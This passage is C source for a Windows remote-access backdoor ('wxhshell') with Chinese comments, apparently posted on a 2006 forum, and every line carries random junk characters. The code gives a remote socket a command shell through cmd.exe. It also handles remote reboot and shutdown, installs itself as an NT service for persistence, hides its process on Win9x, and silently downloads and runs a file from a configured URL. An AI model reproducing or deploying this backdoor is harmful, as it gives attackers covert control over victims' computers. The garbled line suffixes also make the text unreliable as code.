  // 帮助 <M,=( p{  
  case '?': { FeZGPxc~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gJOD+~  
    break; 9*[!ux7h  
  } yV) 9KGV+:  
  // 安装 z) "(&__  
  case 'i': { ~ =$d>ZNQ  
    if(Install()) c 1{nOx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mr XmM<  
    else i%r+/D)KvG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z4T{CwD`D  
    break; t8~isuiK  
    } 2t#[$2mg\0  
  // 卸载 WG5)-;>q|  
  case 'r': { .DhB4v&  
    if(Uninstall()) 6eK7Jv\K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m P./e8  
    else e1R<+`]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {"*gX&;~  
    break; (S63:q&g  
    } VzuU 0  
  // 显示 wxhshell 所在路径 nS^,Sq\Ak  
  case 'p': { mqQC`Aqx:  
    char svExeFile[MAX_PATH]; [85tZr]  
    strcpy(svExeFile,"\n\r"); Cuom_+wV&  
      strcat(svExeFile,ExeFile); $69d9g8-(!  
        send(wsh,svExeFile,strlen(svExeFile),0); p!`S]\XEB  
    break; D+4$l+\u  
    }  |u^~Z-.  
  // 重启  :LTjV"f  
  case 'b': { B5#>ieM*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #8B4*gAM  
    if(Boot(REBOOT)) AaDMX,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p{O@ts:  
    else { ~Z ;.n p(T  
    closesocket(wsh); TmLfH d  
    ExitThread(0); 1Zgv+.  
    } %Lfy!]Ru  
    break; 34aSRFsk*  
    } VVi3g  
  // 关机 :i o[9B [  
  case 'd': { Rs "#gT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \{}5VVw-S?  
    if(Boot(SHUTDOWN)) r]bG,?|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #>">fs]  
    else { N/8B@}@n  
    closesocket(wsh); Oa' T$'  
    ExitThread(0); f2i9UZ$=e!  
    } eOUEhpE  
    break; T $o;PJc  
    } /9 |BAQ:v;  
  // 获取shell s[u*~A  
  case 's': { 7vB6IF  
    CmdShell(wsh); vF'Y; M  
    closesocket(wsh); D'"l%p  
    ExitThread(0); Ak@y"!wnM  
    break; i$XT Qr0K=  
  } u 236a\:  
  // 退出 3^Z@fC  
  case 'x': { /wJocx]vQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c/-PEsk_TP  
    CloseIt(wsh); l\{r-F N  
    break; q.d qr<  
    } OCWyp  
  // 离开 d'e\tO  
  case 'q': { X GDJCN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1 o\COnt  
    closesocket(wsh); ~4`3p=$  
    WSACleanup(); *XluVochrb  
    exit(1); NV;T*I8O  
    break; A=BT2j'l)  
        } $`"$ZI6[  
  } 8:"s3xaO3  
  } md /NMC \  
x UTlM  
  // 提示信息 r<_qU3Eaj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l#3jJn  
} #}C6}};  
  } =nG>aAG  
7Q # A  
  return; k, jcLX.  
} ePiZHqIsv/  
'OsRQ)E  
// shell模块句柄 '2ACZcjDSv  
int CmdShell(SOCKET sock) 18ON`j  
{ _*u$U  
STARTUPINFO si; p1 mY!&e(  
ZeroMemory(&si,sizeof(si)); !~ZAm3GwL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3U[:N &Jb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7G  3e  
PROCESS_INFORMATION ProcessInfo; j%fi*2uX  
char cmdline[]="cmd"; }syU(];s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3ZX#6*(}2  
  return 0; He  LW*  
} N=c{@h  
<y,c.\c!  
// 自身启动模式 ;Bne=vjQp  
int StartFromService(void) @e^(V$ap  
{ 5_4 =(?<  
typedef struct eVGW4b  
{ Poxoc-s  
  DWORD ExitStatus; F|?}r3{aJ  
  DWORD PebBaseAddress; g ~>nT>6  
  DWORD AffinityMask; P +Sgbtc  
  DWORD BasePriority; w9CX5Fg  
  ULONG UniqueProcessId; xgZ<. r  
  ULONG InheritedFromUniqueProcessId; [ lE^0_+  
}   PROCESS_BASIC_INFORMATION; :Oi}X7\  
a*!9RQ  
PROCNTQSIP NtQueryInformationProcess; 9Q&]5| x  
`/o|1vv@_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %H=^U8WB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M8f[ck  
\}; 4rm}V  
  HANDLE             hProcess; |pR'#M4j4A  
  PROCESS_BASIC_INFORMATION pbi; !s[ gv1  
8,]wOxwqi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FOS*X  
  if(NULL == hInst ) return 0; nSq$,tk(  
Bh()?{q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GCp90  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d"}lh:L9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gyOAvx  
Cuo"6, M  
  if (!NtQueryInformationProcess) return 0; -5,+gakSk  
sJm v{wM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6Bn}W ?  
  if(!hProcess) return 0; ])vqXjN6"  
8hZc#b;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8FgF6ip  
r ['zp=9  
  CloseHandle(hProcess); /F}dC/W  
@Qd5a(5WM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s"X0Jx}  
if(hProcess==NULL) return 0; X92I==-w  
nC#SnyUO  
HMODULE hMod; a0hgF_O1  
char procName[255]; Fhs/<w-  
unsigned long cbNeeded; _`xhP-,`S  
s~g]`/h$r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U DHMNubB  
G+K`FUNA  
  CloseHandle(hProcess); -8&P1jrI  
, 4@C%  
if(strstr(procName,"services")) return 1; // 以服务启动 4YCuO%  
j/hm)*\io  
  return 0; // 注册表启动 t CQf `  
} X'usd$[ .  
uo7[T*<Q  
// 主模块 ^*WO*f>y  
int StartWxhshell(LPSTR lpCmdLine) 5[H1nC @C  
{ 3IQ-2 X--  
  SOCKET wsl; 9oVprd >%@  
BOOL val=TRUE; pB,l t6  
  int port=0; gflO0$i  
  struct sockaddr_in door; p I@!2c:}  
,UneS  
  if(wscfg.ws_autoins) Install(); q5>!.v   
|6~ Kin  
port=atoi(lpCmdLine); ^aY,Wq  
?r^>Vk}  
if(port<=0) port=wscfg.ws_port; vJuL+'[i  
 T_<:  
  WSADATA data; p?x]|`M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %6TS_IpJ  
#Z}YQ $g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U (A#}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Gvc/o$_  
  door.sin_family = AF_INET; b`|,rfq^AZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m<|fdS'@  
  door.sin_port = htons(port); `6o5[2V  
I<hMS6$<LE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7:wf!\@ I  
closesocket(wsl); 3s_$.  
return 1; |7b@w;q,D  
} OdtS5:L  
q=+wQ[a<  
  if(listen(wsl,2) == INVALID_SOCKET) { HLl"=m1/>  
closesocket(wsl); =_`cY^ib+  
return 1; Zu/1:8x  
} Z xR  
  Wxhshell(wsl); Qz([\Xx:  
  WSACleanup(); ;%O>=m'4  
= '<*mT<  
return 0; 6o]>lQ}  
\`8?=_ST  
} iG=XRctgj)  
}dG>_/3  
// 以NT服务方式启动 1yjP`N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DK(8Ml:k  
{ Ikgia:/-Z  
DWORD   status = 0; X/23 /_~L`  
  DWORD   specificError = 0xfffffff; &5 R-bYGW  
y_{v&AGmgm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QE`u~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; > @q4Uez  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |JTDwmR  
  serviceStatus.dwWin32ExitCode     = 0; Tywrh9[  
  serviceStatus.dwServiceSpecificExitCode = 0; g715+5z[  
  serviceStatus.dwCheckPoint       = 0; ~0 Mw\p%}  
  serviceStatus.dwWaitHint       = 0; _&PF(/w  
_cQhT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BXLw  
  if (hServiceStatusHandle==0) return; {EVHkQ+o  
xd]7?L@h.I  
status = GetLastError(); _ Zzne  
  if (status!=NO_ERROR) ybpU?n  
{ WRN}>]NgQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GD#W=O  
    serviceStatus.dwCheckPoint       = 0; `qa>6`\  
    serviceStatus.dwWaitHint       = 0; {0Ej *%  
    serviceStatus.dwWin32ExitCode     = status; >RKepV(X7  
    serviceStatus.dwServiceSpecificExitCode = specificError; ux>LciNq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TJkWL2r0c  
    return; [ P%'p-Hg_  
  } 910N 1E  
\$2zF8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^-7-jZ@jz  
  serviceStatus.dwCheckPoint       = 0; [};?;YN  
  serviceStatus.dwWaitHint       = 0; Q@.%^1Mp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z4tc3e  
} TV(%e4U=  
1Ewg_/R  
// 处理NT服务事件,比如:启动、停止 ~}s0~j~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B{lL}"++0  
{ Hu$JCB-%  
switch(fdwControl) wy?Hp*E  
{ @gihIysf  
case SERVICE_CONTROL_STOP: qim|=  
  serviceStatus.dwWin32ExitCode = 0; 5S&^mj-9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uN(N2m  
  serviceStatus.dwCheckPoint   = 0; k:CSH{s5{  
  serviceStatus.dwWaitHint     = 0; SW=%>XKkh  
  { kI/%|L%6D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FO?I}G22  
  } <u2iXH5w  
  return; "Kf4v|6;  
case SERVICE_CONTROL_PAUSE: Q&?B^[N*Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $kn"S>jV  
  break; l6HT}x7OiH  
case SERVICE_CONTROL_CONTINUE: bk4G+wGw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P:c 'W?  
  break; @v n%  
case SERVICE_CONTROL_INTERROGATE: gO m%?sg  
  break; \`WAG>'l5  
}; n|!O .+\b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); No(S#,vJ;  
} 5 OF*PBZ  
u&$1XZ!es  
// 标准应用程序主函数 B \>W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pOIfKd  
{ M pLn)  
.;NoKO7)  
// 获取操作系统版本 d(6&kXK  
OsIsNt=GetOsVer(); zK&J2P`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f9J]-#Iif  
_<l9j;6  
  // 从命令行安装 @wW)#!Mou  
  if(strpbrk(lpCmdLine,"iI")) Install(); I}1<epd ,  
}3y Q*<  
  // 下载执行文件 Ui;PmwQc&  
if(wscfg.ws_downexe) { ,\E5et4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WvHy}1W  
  WinExec(wscfg.ws_filenam,SW_HIDE); IR<*OnKn  
} nF{>RD  
p0j-$*F  
if(!OsIsNt) { 3G-f+HN^E  
// 如果时win9x,隐藏进程并且设置为注册表启动 Kw,ln<)2  
HideProc(); }#9 |au`  
StartWxhshell(lpCmdLine); `pYL/[5  
} 3Tr}t.mt  
else ,:"c"   
  if(StartFromService()) PoRL35  
  // 以服务方式启动 M@O<b-  
  StartServiceCtrlDispatcher(DispatchTable); T eBJ  
else S3_QOL  
  // 普通方式启动 5b%zpx0Y  
  StartWxhshell(lpCmdLine); 0 +"P 1/  
9NcC.}#-5  
return 0; Lcy>!3q3~  
}
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只看该作者 1 发表于: 2006-10-10
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